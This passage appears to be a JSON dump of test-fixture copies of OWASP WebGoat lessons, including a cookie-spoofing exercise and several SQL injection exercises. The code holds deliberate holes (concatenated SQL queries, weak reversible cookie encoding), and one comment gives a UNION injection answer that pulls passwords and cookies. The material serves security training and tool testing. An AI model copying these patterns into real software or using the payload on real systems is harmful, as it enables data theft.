Blazquez\n *\n */\n\n@RestController\npublic class SpoofCookieAssignment extends AssignmentEndpoint {\n\n  private static final String COOKIE_NAME = \"spoof_auth\";\n  private static final String COOKIE_INFO =\n      \"Cookie details for user %s:<br />\" + COOKIE_NAME + \"=%s\";\n  private static final String ATTACK_USERNAME = \"tom\";\n\n  private static final Map<String, String> users =\n      Map.of(\"webgoat\", \"webgoat\", \"admin\", \"admin\", ATTACK_USERNAME, \"apasswordfortom\");\n\n  @PostMapping(path = \"/SpoofCookie/login\")\n  @ResponseBody\n  @ExceptionHandler(UnsatisfiedServletRequestParameterException.class)\n  public AttackResult login(\n      @RequestParam String username,\n      @RequestParam String password,\n      @CookieValue(value = COOKIE_NAME, required = false) String cookieValue,\n      HttpServletResponse response) {\n\n    if (StringUtils.isEmpty(cookieValue)) {\n      return credentialsLoginFlow(username, password, response);\n    } else {\n      return cookieLoginFlow(cookieValue);\n    }\n  }\n\n  @GetMapping(path = \"/SpoofCookie/cleanup\")\n  public void cleanup(HttpServletResponse response) {\n    Cookie cookie = new Cookie(COOKIE_NAME, \"\");\n    cookie.setMaxAge(0);\n    response.addCookie(cookie);\n  }\n\n  private AttackResult credentialsLoginFlow(\n      String username, String password, HttpServletResponse response) {\n    String lowerCasedUsername = username.toLowerCase();\n    if (ATTACK_USERNAME.equals(lowerCasedUsername)\n        && users.get(lowerCasedUsername).equals(password)) {\n      return informationMessage(this).feedback(\"spoofcookie.cheating\").build();\n    }\n\n    String authPassword = users.getOrDefault(lowerCasedUsername, \"\");\n    if (!authPassword.isBlank() && authPassword.equals(password)) {\n      String newCookieValue = EncDec.encode(lowerCasedUsername);\n      Cookie newCookie = new Cookie(COOKIE_NAME, newCookieValue);\n      newCookie.setPath(\"/WebGoat\");\n      newCookie.setSecure(true);\n      response.addCookie(newCookie);\n      return informationMessage(this)\n          .feedback(\"spoofcookie.login\")\n          .output(String.format(COOKIE_INFO, lowerCasedUsername, newCookie.getValue()))\n          .build();\n    }\n\n    return informationMessage(this).feedback(\"spoofcookie.wrong-login\").build();\n  }\n\n  private AttackResult cookieLoginFlow(String cookieValue) {\n    String cookieUsername;\n    try {\n      cookieUsername = EncDec.decode(cookieValue).toLowerCase();\n    } catch (Exception e) {\n      // for providing some instructive guidance, we won't return 4xx error here\n      return failed(this).output(e.getMessage()).build();\n    }\n    if (users.containsKey(cookieUsername)) {\n      if (cookieUsername.equals(ATTACK_USERNAME)) {\n        return success(this).build();\n      }\n      return failed(this)\n          .feedback(\"spoofcookie.cookie-login\")\n          .output(String.format(COOKIE_INFO, cookieUsername, cookieValue))\n          .build();\n    }\n\n    return failed(this).feedback(\"spoofcookie.wrong-cookie\").build();\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/spoofcookie/encoders/EncDec.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2021 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.spoofcookie.encoders;\n\nimport java.nio.charset.StandardCharsets;\nimport java.util.Base64;\nimport org.apache.commons.lang3.RandomStringUtils;\nimport org.springframework.security.crypto.codec.Hex;\n\n/***\n *\n * @author Angel Olle Blazquez\n *\n */\n\npublic class EncDec {\n\n  // PoC: weak encoding method\n\n  private static final String SALT = RandomStringUtils.randomAlphabetic(10);\n\n  private EncDec() {}\n\n  public static String encode(final String value) {\n    if (value == null) {\n      return null;\n    }\n\n    String encoded = value.toLowerCase() + SALT;\n    encoded = revert(encoded);\n    encoded = hexEncode(encoded);\n    return base64Encode(encoded);\n  }\n\n  public static String decode(final String encodedValue) throws IllegalArgumentException {\n    if (encodedValue == null) {\n      return null;\n    }\n\n    String decoded = base64Decode(encodedValue);\n    decoded = hexDecode(decoded);\n    decoded = revert(decoded);\n    return decoded.substring(0, decoded.length() - SALT.length());\n  }\n\n  private static String revert(final String value) {\n    return new StringBuilder(value).reverse().toString();\n  }\n\n  private static String hexEncode(final String value) {\n    char[] encoded = Hex.encode(value.getBytes(StandardCharsets.UTF_8));\n    return new String(encoded);\n  }\n\n  private static String hexDecode(final String value) {\n    byte[] decoded = Hex.decode(value);\n    return new String(decoded);\n  }\n\n  private static String base64Encode(final String value) {\n    return Base64.getEncoder().encodeToString(value.getBytes());\n  }\n\n  private static String base64Decode(final String value) {\n    byte[] decoded = Base64.getDecoder().decode(value.getBytes());\n    return new String(decoded);\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/sqlinjection/advanced/SqlInjectionAdvanced.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.sqlinjection.advanced;\n\nimport org.owasp.webgoat.container.lessons.Category;\nimport org.owasp.webgoat.container.lessons.Lesson;\nimport org.springframework.stereotype.Component;\n\n@Component\npublic class SqlInjectionAdvanced extends Lesson {\n  @Override\n  public Category getDefaultCategory() {\n    return Category.A3;\n  }\n\n  @Override\n  public String getTitle() {\n    return \"2.sql.advanced.title\";\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/sqlinjection/advanced/SqlInjectionChallenge.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.sqlinjection.advanced;\n\nimport java.sql.*;\nimport lombok.extern.slf4j.Slf4j;\nimport org.owasp.webgoat.container.LessonDataSource;\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AssignmentHints;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.springframework.util.StringUtils;\nimport org.springframework.web.bind.annotation.PutMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n/**\n * @author nbaars\n * @since 4/8/17.\n */\n@RestController\n@AssignmentHints(\n    value = {\"SqlInjectionChallenge1\", \"SqlInjectionChallenge2\", \"SqlInjectionChallenge3\"})\n@Slf4j\npublic class SqlInjectionChallenge extends AssignmentEndpoint {\n\n  private final LessonDataSource dataSource;\n\n  public SqlInjectionChallenge(LessonDataSource dataSource) {\n    this.dataSource = dataSource;\n  }\n\n  @PutMapping(\"/SqlInjectionAdvanced/challenge\")\n  // assignment path is bounded to class so we use different http method :-)\n  @ResponseBody\n  public AttackResult registerNewUser(\n      @RequestParam String username_reg,\n      @RequestParam String email_reg,\n      @RequestParam String password_reg)\n      throws Exception {\n    AttackResult attackResult = checkArguments(username_reg, email_reg, password_reg);\n\n    if (attackResult == null) {\n\n      try (Connection connection = dataSource.getConnection()) {\n        String checkUserQuery =\n            \"select userid from sql_challenge_users where userid = '\" + username_reg + \"'\";\n        Statement statement = connection.createStatement();\n        ResultSet resultSet = statement.executeQuery(checkUserQuery);\n\n        if (resultSet.next()) {\n          if (username_reg.contains(\"tom'\")) {\n            attackResult = success(this).feedback(\"user.exists\").build();\n          } else {\n            attackResult = failed(this).feedback(\"user.exists\").feedbackArgs(username_reg).build();\n          }\n        } else {\n          PreparedStatement preparedStatement =\n              connection.prepareStatement(\"INSERT INTO sql_challenge_users VALUES (?, ?, ?)\");\n          preparedStatement.setString(1, username_reg);\n          preparedStatement.setString(2, email_reg);\n          preparedStatement.setString(3, password_reg);\n          preparedStatement.execute();\n          attackResult = success(this).feedback(\"user.created\").feedbackArgs(username_reg).build();\n        }\n      } catch (SQLException e) {\n        attackResult = failed(this).output(\"Something went wrong\").build();\n      }\n    }\n    return attackResult;\n  }\n\n  private AttackResult checkArguments(String username_reg, String email_reg, String password_reg) {\n    if (StringUtils.isEmpty(username_reg)\n        || StringUtils.isEmpty(email_reg)\n        || StringUtils.isEmpty(password_reg)) {\n      return failed(this).feedback(\"input.invalid\").build();\n    }\n    if (username_reg.length() > 250 || email_reg.length() > 30 || password_reg.length() > 30) {\n      return failed(this).feedback(\"input.invalid\").build();\n    }\n    return null;\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/sqlinjection/advanced/SqlInjectionChallengeLogin.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.sqlinjection.advanced;\n\nimport org.owasp.webgoat.container.LessonDataSource;\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AssignmentHints;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n@RestController\n@AssignmentHints(\n    value = {\n      \"SqlInjectionChallengeHint1\",\n      \"SqlInjectionChallengeHint2\",\n      \"SqlInjectionChallengeHint3\",\n      \"SqlInjectionChallengeHint4\"\n    })\npublic class SqlInjectionChallengeLogin extends AssignmentEndpoint {\n\n  private final LessonDataSource dataSource;\n\n  public SqlInjectionChallengeLogin(LessonDataSource dataSource) {\n    this.dataSource = dataSource;\n  }\n\n  @PostMapping(\"/SqlInjectionAdvanced/challenge_Login\")\n  @ResponseBody\n  public AttackResult login(\n      @RequestParam String username_login, @RequestParam String password_login) throws Exception {\n    try (var connection = dataSource.getConnection()) {\n      var statement =\n          connection.prepareStatement(\n              \"select password from sql_challenge_users where userid = ? and password = ?\");\n      statement.setString(1, username_login);\n      statement.setString(2, password_login);\n      var resultSet = statement.executeQuery();\n\n      if (resultSet.next()) {\n        return (\"tom\".equals(username_login))\n            ? success(this).build()\n            : failed(this).feedback(\"ResultsButNotTom\").build();\n      } else {\n        return failed(this).feedback(\"NoResultsMatched\").build();\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/sqlinjection/advanced/SqlInjectionLesson6a.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.sqlinjection.advanced;\n\nimport java.sql.*;\nimport org.owasp.webgoat.container.LessonDataSource;\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AssignmentHints;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.owasp.webgoat.lessons.sqlinjection.introduction.SqlInjectionLesson5a;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n@RestController\n@AssignmentHints(\n    value = {\n      \"SqlStringInjectionHint-advanced-6a-1\",\n      \"SqlStringInjectionHint-advanced-6a-2\",\n      \"SqlStringInjectionHint-advanced-6a-3\",\n      \"SqlStringInjectionHint-advanced-6a-4\",\n      \"SqlStringInjectionHint-advanced-6a-5\"\n    })\npublic class SqlInjectionLesson6a extends AssignmentEndpoint {\n\n  private final LessonDataSource dataSource;\n  private static final String YOUR_QUERY_WAS = \"<br> Your query was: \";\n\n  public SqlInjectionLesson6a(LessonDataSource dataSource) {\n    this.dataSource = dataSource;\n  }\n\n  @PostMapping(\"/SqlInjectionAdvanced/attack6a\")\n  @ResponseBody\n  public AttackResult completed(@RequestParam(value = \"userid_6a\") String userId) {\n    return injectableQuery(userId);\n    // The answer: Smith' union select userid,user_name, password,cookie,cookie, cookie,userid from\n    // user_system_data --\n  }\n\n  public AttackResult injectableQuery(String accountName) {\n    String query = \"\";\n    try (Connection connection = dataSource.getConnection()) {\n      boolean usedUnion = true;\n      query = \"SELECT * FROM user_data WHERE last_name = '\" + accountName + \"'\";\n      // Check if Union is used\n      if (!accountName.matches(\"(?i)(^[^-/*;)]*)(\\\\s*)UNION(.*$)\")) {\n        usedUnion = false;\n      }\n      try (Statement statement =\n          connection.createStatement(\n              ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY)) {\n        ResultSet results = statement.executeQuery(query);\n\n        if ((results != null) && results.first()) {\n          ResultSetMetaData resultsMetaData = results.getMetaData();\n          StringBuilder output = new StringBuilder();\n\n          output.append(SqlInjectionLesson5a.writeTable(results, resultsMetaData));\n\n          String appendingWhenSucceded;\n          if (usedUnion)\n            appendingWhenSucceded =\n                \"Well done! Can you also figure out a solution, by appending a new SQL Statement?\";\n          else\n            appendingWhenSucceded =\n                \"Well done! Can you also figure out a solution, by using a UNION?\";\n          results.last();\n\n          if (output.toString().contains(\"dave\") && output.toString().contains(\"passW0rD\")) {\n            output.append(appendingWhenSucceded);\n            return success(this)\n                .feedback(\"sql-injection.advanced.6a.success\")\n                .feedbackArgs(output.toString())\n                .output(\" Your query was: \" + query)\n                .build();\n          } else {\n            return failed(this).output(output.toString() + YOUR_QUERY_WAS + query).build();\n          }\n        } else {\n          return failed(this)\n              .feedback(\"sql-injection.advanced.6a.no.results\")\n              .output(YOUR_QUERY_WAS + query)\n              .build();\n        }\n      } catch (SQLException sqle) {\n        return failed(this).output(sqle.getMessage() + YOUR_QUERY_WAS + query).build();\n      }\n    } catch (Exception e) {\n      return failed(this)\n          .output(this.getClass().getName() + \" : \" + e.getMessage() + YOUR_QUERY_WAS + query)\n          .build();\n    }\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/sqlinjection/advanced/SqlInjectionLesson6b.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.sqlinjection.advanced;\n\nimport java.io.IOException;\nimport java.sql.Connection;\nimport java.sql.ResultSet;\nimport java.sql.SQLException;\nimport java.sql.Statement;\nimport org.owasp.webgoat.container.LessonDataSource;\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n@RestController\npublic class SqlInjectionLesson6b extends AssignmentEndpoint {\n\n  private final LessonDataSource dataSource;\n\n  public SqlInjectionLesson6b(LessonDataSource dataSource) {\n    this.dataSource = dataSource;\n  }\n\n  @PostMapping(\"/SqlInjectionAdvanced/attack6b\")\n  @ResponseBody\n  public AttackResult completed(@RequestParam String userid_6b) throws IOException {\n    if (userid_6b.equals(getPassword())) {\n      return success(this).build();\n    } else {\n      return failed(this).build();\n    }\n  }\n\n  protected String getPassword() {\n    String password = \"dave\";\n    try (Connection connection = dataSource.getConnection()) {\n      String query = \"SELECT password FROM user_system_data WHERE user_name = 'dave'\";\n      try {\n        Statement statement =\n            connection.createStatement(\n                ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);\n        ResultSet results = statement.executeQuery(query);\n\n        if (results != null && results.first()) {\n          password = results.getString(\"password\");\n        }\n      } catch (SQLException sqle) {\n        sqle.printStackTrace();\n        // do nothing\n      }\n    } catch (Exception e) {\n      e.printStackTrace();\n      // do nothing\n    }\n    return (password);\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/sqlinjection/advanced/SqlInjectionQuiz.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.sqlinjection.advanced;\n\nimport java.io.IOException;\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n/**\n * add a question: 1. Append new question to JSON string 2. add right solution to solutions array 3.\n * add Request param with name of question to method head For a more detailed description how to\n * implement the quiz go to the quiz.js file in webgoat-container -> js\n */\n@RestController\npublic class SqlInjectionQuiz extends AssignmentEndpoint {\n\n  String[] solutions = {\"Solution 4\", \"Solution 3\", \"Solution 2\", \"Solution 3\", \"Solution 4\"};\n  boolean[] guesses = new boolean[solutions.length];\n\n  @PostMapping(\"/SqlInjectionAdvanced/quiz\")\n  @ResponseBody\n  public AttackResult completed(\n      @RequestParam String[] question_0_solution,\n      @RequestParam String[] question_1_solution,\n      @RequestParam String[] question_2_solution,\n      @RequestParam String[] question_3_solution,\n      @RequestParam String[] question_4_solution)\n      throws IOException {\n    int correctAnswers = 0;\n\n    String[] givenAnswers = {\n      question_0_solution[0],\n      question_1_solution[0],\n      question_2_solution[0],\n      question_3_solution[0],\n      question_4_solution[0]\n    };\n\n    for (int i = 0; i < solutions.length; i++) {\n      if (givenAnswers[i].contains(solutions[i])) {\n        // answer correct\n        correctAnswers++;\n        guesses[i] = true;\n      } else {\n        // answer incorrect\n        guesses[i] = false;\n      }\n    }\n\n    if (correctAnswers == solutions.length) {\n      return success(this).build();\n    } else {\n      return failed(this).build();\n    }\n  }\n\n  @GetMapping(\"/SqlInjectionAdvanced/quiz\")\n  @ResponseBody\n  public boolean[] getResults() {\n    return this.guesses;\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjection.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.sqlinjection.introduction;\n\nimport org.owasp.webgoat.container.lessons.Category;\nimport org.owasp.webgoat.container.lessons.Lesson;\nimport org.springframework.stereotype.Component;\n\n@Component\npublic class SqlInjection extends Lesson {\n  @Override\n  public Category getDefaultCategory() {\n    return Category.A3;\n  }\n\n  @Override\n  public String getTitle() {\n    return \"1.sql.injection.title\";\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson10.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.sqlinjection.introduction;\n\nimport java.sql.Connection;\nimport java.sql.ResultSet;\nimport java.sql.SQLException;\nimport java.sql.Statement;\nimport org.owasp.webgoat.container.LessonDataSource;\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AssignmentHints;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n@RestController\n@AssignmentHints(\n    value = {\n      \"SqlStringInjectionHint.10.1\",\n      \"SqlStringInjectionHint.10.2\",\n      \"SqlStringInjectionHint.10.3\",\n      \"SqlStringInjectionHint.10.4\",\n      \"SqlStringInjectionHint.10.5\",\n      \"SqlStringInjectionHint.10.6\"\n    })\npublic class SqlInjectionLesson10 extends AssignmentEndpoint {\n\n  private final LessonDataSource dataSource;\n\n  public SqlInjectionLesson10(LessonDataSource dataSource) {\n    this.dataSource = dataSource;\n  }\n\n  @PostMapping(\"/SqlInjection/attack10\")\n  @ResponseBody\n  public AttackResult completed(@RequestParam String action_string) {\n    return injectableQueryAvailability(action_string);\n  }\n\n  protected AttackResult injectableQueryAvailability(String action) {\n    StringBuilder output = new StringBuilder();\n    String query = \"SELECT * FROM access_log WHERE action LIKE '%\" + action + \"%'\";\n\n    try (Connection connection = dataSource.getConnection()) {\n      try {\n        Statement statement =\n            connection.createStatement(\n                ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);\n        ResultSet results = statement.executeQuery(query);\n\n        if (results.getStatement() != null) {\n          results.first();\n          output.append(SqlInjectionLesson8.generateTable(results));\n          return failed(this)\n              .feedback(\"sql-injection.10.entries\")\n              .output(output.toString())\n              .build();\n        } else {\n          if (tableExists(connection)) {\n            return failed(this)\n                .feedback(\"sql-injection.10.entries\")\n                .output(output.toString())\n                .build();\n          } else {\n            return success(this).feedback(\"sql-injection.10.success\").build();\n          }\n        }\n      } catch (SQLException e) {\n        if (tableExists(connection)) {\n          return failed(this)\n              .output(\n                  \"<span class='feedback-negative'>\"\n                      + e.getMessage()\n                      + \"</span><br>\"\n                      + output.toString())\n              .build();\n        } else {\n          return success(this).feedback(\"sql-injection.10.success\").build();\n        }\n      }\n\n    } catch (Exception e) {\n      return failed(this)\n          .output(\"<span class='feedback-negative'>\" + e.getMessage() + \"</span>\")\n          .build();\n    }\n  }\n\n  private boolean tableExists(Connection connection) {\n    try {\n      Statement stmt =\n          connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);\n      ResultSet results = stmt.executeQuery(\"SELECT * FROM access_log\");\n      int cols = results.getMetaData().getColumnCount();\n      return (cols > 0);\n    } catch (SQLException e) {\n      String errorMsg = e.getMessage();\n      if (errorMsg.contains(\"object not found: ACCESS_LOG\")) {\n        return false;\n      } else {\n        System.err.println(e.getMessage());\n        return false;\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson2.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.sqlinjection.introduction;\n\nimport static java.sql.ResultSet.CONCUR_READ_ONLY;\nimport static java.sql.ResultSet.TYPE_SCROLL_INSENSITIVE;\n\nimport java.sql.ResultSet;\nimport java.sql.SQLException;\nimport java.sql.Statement;\nimport org.owasp.webgoat.container.LessonDataSource;\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AssignmentHints;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n@RestController\n@AssignmentHints(\n    value = {\n      \"SqlStringInjectionHint2-1\",\n      \"SqlStringInjectionHint2-2\",\n      \"SqlStringInjectionHint2-3\",\n      \"SqlStringInjectionHint2-4\"\n    